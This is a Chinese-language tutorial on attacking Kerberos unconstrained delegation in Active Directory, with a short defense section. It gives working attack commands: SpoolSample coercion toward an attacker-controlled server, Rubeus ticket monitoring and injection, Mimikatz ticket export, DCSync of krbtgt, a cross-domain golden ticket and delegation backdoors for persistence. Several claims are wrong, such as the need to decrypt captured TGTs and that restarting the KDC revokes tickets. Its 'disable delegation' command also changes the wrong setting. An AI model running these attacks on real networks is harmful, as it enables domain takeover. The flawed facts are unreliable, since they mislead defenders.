1. Kerberos委派机制基础解析
Kerberos协议作为企业级网络身份验证的黄金标准,其委派机制的设计初衷是为了解决服务间身份传递的信任问题。想象这样一个场景:当用户通过Web服务器访问后端数据库时,传统方式需要用户在Web前端重复输入凭证,而委派机制允许Web服务"代表"用户向数据库发起请求,这种信任关系的建立正是Kerberos委派的精髓所在。
在Kerberos体系中,委派主要分为两种类型:约束性委派(Constrained Delegation)和非约束性委派(Unconstrained Delegation)。前者通过服务票据(S4U2Proxy)实现精确的权限控制,后者则像给服务账户发放了空白支票——被配置为非约束性委派的服务账户可以代表用户向域内任何服务请求票据。这种设计虽然简化了某些特定场景下的服务交互,却也埋下了严重的安全隐患。
非约束性委派的工作流程涉及三个关键角色:
- 用户客户端:发起服务请求的主体
- 中间服务(委派方):被授予委派权限的服务账户
- 目标服务:用户最终要访问的资源
当攻击者发现某服务账户配置了非约束性委派时,相当于找到了一个可以收集所有经过该服务TGS票据的"捕鼠夹"。更危险的是,域控制器账户(DC$)默认就具有非约束性委派权限,这使得攻击面进一步扩大。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 非约束性委派攻击原理深度剖析
2.1 票据收集的核心机制
非约束性委派攻击的本质是票据截获(Ticket Harvesting)。当服务账户A被配置为非约束性委派时,任何用户通过Kerberos认证访问A服务时,A不仅会收到该用户访问自己的服务票据(ST),还会获得该用户的TGT(Ticket Granting Ticket)副本。这个TGT被加密存储在服务账户的内存中,使用A的长期密钥(通常是RC4_HMAC_MD5或AES加密的密码哈希)进行加密。
攻击者通过以下方式利用这一机制:
- 诱导或等待高权限用户(如域管理员)访问配置了非约束性委派的服务器
- 从服务器内存中提取加密的TGT票据
- 使用服务账户的NTLM哈希解密TGT
- 通过票据传递(Pass-the-Ticket)攻击模拟受害者用户
2.2 攻击路径的典型场景
在实际域环境中,存在三类典型的非约束性委派攻击场景:
场景一:普通服务账户委派
powershell复制# 查找配置了非约束性委派的账户
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties trustedfordelegation
这类账户常见于老旧系统或配置不当的IIS、SQL Server服务账户。攻击者通过获取该计算机的本地管理员权限,便可导出内存中的票据。
场景二:域控制器特殊委派
域控制器的计算机账户(DC$)默认具有非约束性委派权限,这是Kerberos协议设计中的历史遗留问题。通过打印机漏洞(MS-RPRN)或PetitPotam等强制认证方法,可以诱导DC向攻击者控制的服务器发起连接,从而捕获DC$的TGT。
场景三:资源约束性委派滥用
虽然名为"约束性"委派,但配置不当的S4U2Self权限可能导致类似非约束性委派的效果。当服务账户被授予对自身的S4U2Self权限时,可能实现权限提升。
3. 实战攻击步骤详解
3.1 环境侦察与目标定位
首先需要识别域内配置了非约束性委派的服务账户。使用PowerShell进行快速扫描:
powershell复制# 查找非约束性委派的计算机账户
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties * | select Name,PrimaryGroup,OperatingSystem
# 查找非约束性委派用户账户
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties * | select Name,UserPrincipalName
对于大型网络,建议使用BloodHound进行可视化分析,它能自动识别委派关系路径:
bash复制sharphound.exe --collectionmethods Delegation
3.2 强制认证触发技术
当目标账户不活跃时,需要诱导高权限用户向委派服务器发起连接。经典方法包括:
打印机漏洞利用(MS-RPRN)
bash复制# 使用SpoolSample工具触发
SpoolSample.exe <target-DC> <attacker-controlled-server>
HTTP协议强制认证
bash复制# 通过Responder工具捕获
sudo responder -I eth0 -wF
3.3 票据提取与解密
成功触发认证后,使用Rubeus或Mimikatz提取内存中的TGT:
bash复制# 使用Rubeus监控新票据
Rubeus.exe monitor /interval:5 /filteruser:DC$
# 使用Mimikatz导出票据
mimikatz # sekurlsa::tickets /export
获取到的TGT是加密状态,需要服务账户的哈希来解密。获取哈希的常用方法:
- LSASS内存转储
- DCSync攻击(需足够权限)
- 服务账户密码猜测(针对弱密码)
3.4 票据传递与权限提升
将解密后的TGT注入当前会话:
bash复制# 使用Rubeus注入票据
Rubeus.exe ptt /ticket:<base64-ticket>
# 验证票据是否生效
klist
此时可以访问原本受限的资源,如执行DCSync获取所有域用户哈希:
bash复制mimikatz # lsadump::dcsync /domain:corp.com /user:krbtgt
4. 防御策略与检测方案
4.1 主动防御措施
企业级防护建议:
- 全面禁用非约束性委派(域级策略)
powershell复制# 查询并修改委派设置 Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} | Set-ADAccountControl -TrustedToAuthForDelegation $false - 实施约束性委派或基于资源的约束性委派(Windows Server 2012+)
- 对敏感账户启用"敏感账户,不能被委派"标志
- 定期审计服务账户权限,特别是DC$账户
服务器加固方案:
- 启用LSA保护(防止凭据转储)
reg复制[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] "RunAsPPL"=dword:00000001 - 配置受限的Kerberos加密类型(禁用RC4)
powershell复制Set-ADDomainController -Identity <DC> -KerberosEncryptionType AES256
4.2 攻击检测技术
SIEM检测规则示例:
sql复制# 异常票据请求(事件ID 4769)
EventCode=4769 AND TicketOptions=0x40810000
# 异常的S4U2Self请求(事件ID 4769)
EventCode=4769 AND ServiceName="*$" AND TransitedServices=*
内存检测指标:
- 异常数量的TGT存储在单个服务进程中
- 来自非常规IP的Kerberos认证请求
- 服务账户突然发起跨域资源访问
4.3 应急响应流程
当检测到委派攻击时,建议立即执行:
- 隔离被利用的服务主机
- 重置相关服务账户密码
- 撤销所有已颁发的Kerberos票据(重启KDC服务)
- 审查域控制器上的异常登录事件(事件ID 4624)
5. 高级攻击变种与对抗技术
5.1 跨域黄金票据攻击
在多域林中,攻击者可能利用跨域信任关系:
bash复制# 获取当前域的SID
Get-DomainSID
# 构造跨域黄金票据
mimikatz # kerberos::golden /domain:child.corp.com /sid:S-1-5-21... /sids:S-1-5-21...-519 /rc4:<trust-key> /user:Administrator /service:krbtgt /target:parent.corp.com /ticket:parent.kirbi
5.2 基于委派的持久化技术
攻击者常在被攻陷的服务器上配置委派权限作为后门:
powershell复制# 添加新的委派SPN
Set-ADComputer -Identity <comp-name> -Add @{'msDS-AllowedToDelegateTo'='HOST/<target>'}
# 通过PowerView设置
Set-DomainObject -Identity <comp-name> -Set @{'msds-allowedtodelegateto'='HOST/<target>'}
5.3 针对云混合环境的攻击演进
在Azure AD混合环境中,新的攻击面包括:
- 同步到云的本地服务账户可能继承委派权限
- ADFS服务账户通常配置了过宽的委派权限
- Azure中的托管标识(Managed Identity)可能被滥用
防御这类攻击需要启用Azure AD的"限制委派"功能,并定期审查混合身份配置。
